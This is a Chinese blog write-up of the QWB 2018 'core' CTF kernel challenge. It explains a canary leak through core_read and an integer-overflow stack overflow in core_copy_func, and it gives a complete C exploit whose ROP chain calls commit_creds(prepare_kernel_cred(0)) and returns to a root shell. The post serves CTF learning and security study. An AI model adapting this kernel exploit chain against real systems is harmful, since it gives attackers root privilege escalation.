强网杯2018 - core 学习记录

  • 环境搭建

    首先解包 core.cpio,去掉 init 中 poweroff 强制关机那一句,然后重新打包

    ./gen_cpio.sh core.cpio
    

    启动 qemu 的时候出现了报错

    Kernel panic - not syncing: Out of memory and no killable processes...
    

    将 start.sh 中 -m 原本的 64M 改成了 256M 后可以正常启动了。
    漏洞文件是 core.ko,看一下保护,只开了 Canary 和 NX 。

  • 漏洞分析

    在 core_ioctl 中,对传入值进行判断并有三个分支,分别是 core_read(),设置全局变量和 core_copy_func()。

    因为有 Canary 首先要泄露栈上信息,在 core_read 中,copy_to_user 可以将内核空间拷贝一块数据到用户空间,而这里的 off 可以在 core_ioctl 任意设置,所以在这里能泄露栈上内容,也就能泄露 Canary。

    image-20220714075504928

    然后是在 core_copy_func 中,传入变量存在整数溢出,可以利用 qmemcpy 将全局变量 name 的值写入内核栈上。

    image-20220714075840538

    在 core_write 中可以向全局变量 name 中写入数据,最后通过 core_copy_func 写入到内核栈上,那么这里需要放一个提权的 rop_chain,因为在 tmp 目录先可以直接查看 commit_creds 和 prepare_kernel_cred 的地址,所以可以直接构造 rop 用 commit_creds(prepare_kernel_cred(0)) 提权。

    image-20220714080506807

    由于 commit_creds 和 prepare_kernel_cred 在 vmlinux 中的偏移固定,那么通过确定在 vmlinux 中的地址和固定的偏移,就可以确定 vmlinux 的基地址。

    首先在 qemu 中查看镜像加载的基地址,但需要 root 权限,先在 init 中修改为:

    setsid /bin/cttyhack setuidgid 0 /bin/sh
    

    然后重新打包,查看 core.ko 中 .text 的基地址

    / # cat /sys/module/core/sections/.text
    0xffffffffc034c000
    

    然后确定偏移:

    from pwn import *
    elf = ELF("./vmlinux")
    print "commit_creds", hex(elf.symbols['commit_creds']-0xffffffff81000000)
    print "prepare_kernel_cred", hex(elf.symbols['prepare_kernel_cred']-0xffffffff81000000)
    

    image-20220715080158255

    然后在 qemu 中查看基址:

    / # cat /tmp/kallsyms | grep commit_creds
    ffffffff90c9c8e0 T commit_creds
    / # cat /tmp/kallsyms | grep prepare_kernel_cred
    ffffffff90c9cce0 T prepare_kernel_cred
    

    那么就可以计算出 vmlinux 的基址:

    image-20220715080347130

  • 构造 ROP

    要用 rop 实现执行 commit_creds(prepare_kernel_cred(0)) 提权和执行 swapgs; iretq 命令返回用户态。实现流程大致为:

    pop rdi; ret
    prepare_kernel_cred(0)
    pop rdx; ret
    pop rcx; ret
    mov rdi, rax; call rdx;
    commit_creds
    swapgs; popfq; ret
    iretq; ret;
    

    具体的地址可以用 ropper 寻找

    ropper --file vmlinux --search "pop|ret"
    

    最后的 exp,重点就是构造 rop 部分,把 commit_creds(prepare_kernel_cred(0)) 和 swapgs; iretq 和 提前构造的栈拼起来即可。

    构造的栈:

    image-20220716191053854

    (exp 参考自 ctfwiki)

    // gcc exploit.c -static -masm=intel -g -o exploit
    #include <string.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <sys/ioctl.h>
    
    void spawn_shell()
    {
        system("/bin/sh");
    }
    
    size_t commit_creds = 0, prepare_kernel_cred = 0;
    size_t raw_vmlinux_base = 0xffffffff81000000;
    size_t vmlinux_base = 0;
    size_t find_symbols()
    {
        FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
    
        if(kallsyms_fd < 0)
        {
            puts("[*]open kallsyms error!");
            exit(0);
        }
    
        char buf[0x30] = {0};
        while(fgets(buf, 0x30, kallsyms_fd))
        {
            if(commit_creds & prepare_kernel_cred)
                return 0;
    
            if(strstr(buf, "commit_creds") && !commit_creds)
            {
                /* puts(buf); */
                char hex[20] = {0};
                strncpy(hex, buf, 16);
                sscanf(hex, "%llx", &commit_creds);
                printf("commit_creds addr: %p\n", commit_creds);
                vmlinux_base = commit_creds - 0x9c8e0;
                printf("vmlinux_base addr: %p\n", vmlinux_base);
            }
    
            if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
            {
                char hex[20] = {0};
                strncpy(hex, buf, 16);
                sscanf(hex, "%llx", &prepare_kernel_cred);
                printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            }
        }
    
        if(!(prepare_kernel_cred & commit_creds))
        {
            puts("[*]Error!");
            exit(0);
        }
    }
    
    size_t user_cs, user_ss, user_rflags, user_sp;
    void save_status()
    {
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;");
        puts("[*]status has been saved");
    }
    
    void set_off(int fd, long long idx)
    {
        printf("[*]set off9 to %ld\n", idx);
        ioctl(fd, 0x6677889C, idx);
    }
    
    void core_read(int fd, char *buf)
    {
        puts("[*]read to buf.");
        ioctl(fd, 0x6677889B, buf);
    }
    
    void core_copy_func(int fd, long long size)
    {
        printf("[*]copy from user with size: %ld\n", size);
        ioctl(fd, 0x6677889A, size);
    }
    
    int main()
    {
        save_status();
        int fd = open("/proc/core", 2);
        if (fd < 0) 
        {
            puts("[*]open /proc/core error!");
            exit(0);
        }
    
        find_symbols();
        ssize_t offset = vmlinux_base - raw_vmlinux_base;
    
        set_off(fd, 0x40);
        char buf[0x40] = {0};
        core_read(fd, buf);
        size_t canary = ((size_t *)buf)[0];
        printf("[+]canary: %p\n", canary);
    
        size_t rop[0x1000] = {0};
        int i;
        for(i = 0; i < 10; i++)
        {
            rop[i] = canary;
        }
    
        rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
        rop[i++] = 0;
        rop[i++] = prepare_kernel_cred;         // prepare_kernel_cred(0)
    
        rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
        rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
        rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; 
        rop[i++] = commit_creds;
    
        rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
        rop[i++] = 0;
    
        rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; 
    
        rop[i++] = (size_t)spawn_shell; // rip
    
        rop[i++] = user_cs;
        rop[i++] = user_rflags;
        rop[i++] = user_sp;
        rop[i++] = user_ss;
    
        write(fd, rop, 0x800);
        core_copy_func(fd, 0xffffffffffff0000 | (0x100));
        return 0;
    }
    

    快速启动脚本:

    #!/bin/sh
    gcc exp.c -static -masm=intel -g -o exp
    cp exp core/exp
    cd core
    ./gen_cpio.sh core.cpio
    mv core.cpio ..
    cd ..
    ./start.sh
    

    image-20220716121525192

  • 参考文献

posted @ 2022-12-29 12:29  moon_flower  阅读(387)  评论(0编辑  收藏  举报